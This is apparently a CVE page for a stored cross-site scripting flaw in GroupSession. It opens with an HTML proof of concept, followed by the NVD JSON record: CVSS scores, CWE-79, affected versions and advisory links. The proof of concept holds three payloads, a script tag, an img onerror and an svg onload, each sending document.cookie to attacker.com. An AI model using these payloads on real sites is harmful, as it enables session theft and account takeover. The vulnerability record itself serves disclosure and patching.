CVE-2025-53523

<!-- CVE-2025-53523 Stored XSS PoC --> <!-- Target: GroupSession Free < 5.3.0, byCloud < 5.3.3, ZION < 5.3.2 --> <!-- Stored XSS Payload --> <script> // Cookie stealing payload var cookie = document.cookie; var img = new Image(); img.src = 'https://attacker.com/log?c=' + encodeURIComponent(cookie); // Session hijacking payload alternative // fetch('https://attacker.com/steal?data=' + btoa(document.cookie)); </script> <!-- Alternative payload using event handler --> <img src=x onerror="fetch('https://attacker.com/steal?data=' + encodeURIComponent(document.cookie))"> <!-- Stealth payload using SVG --> <svg/onload=fetch('https://attacker.com/exfil?c='+document.cookie)>

{"cve": {"id": "CVE-2025-53523", "sourceIdentifier": "[email protected]", "published": "2025-12-12T05:16:05.267", "lastModified": "2026-02-17T15:45:09.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored cross-site scripting vulnerabilities exist in GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, and GroupSession ZION prior to ver5.3.2. A logged-in user can prepare a malicious page or URL, and an arbitrary script may be executed on the web browser when another user accesses it."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:free:*:*:*", "versionEndExcluding": "5.3.0", "matchCriteriaId": "32599C61-0938-49C5-8416-44C3DF7B144A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:zion:*:*:*", "versionEndExcluding": "5.3.2", "matchCriteriaId": "46F7CACE-2448-4A90-9192-B6270B33E393"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:bycloud:*:*:*", "versionEndExcluding": "5.3.3", "matchCriteriaId": "DD4CD8BC-39CB-44FF-A4D8-22C1B38ED223"}]}]}], "references": [{"url": "https://groupsession.jp/info/info-news/security20251208", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://jvn.jp/en/jp/JVN19940619/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}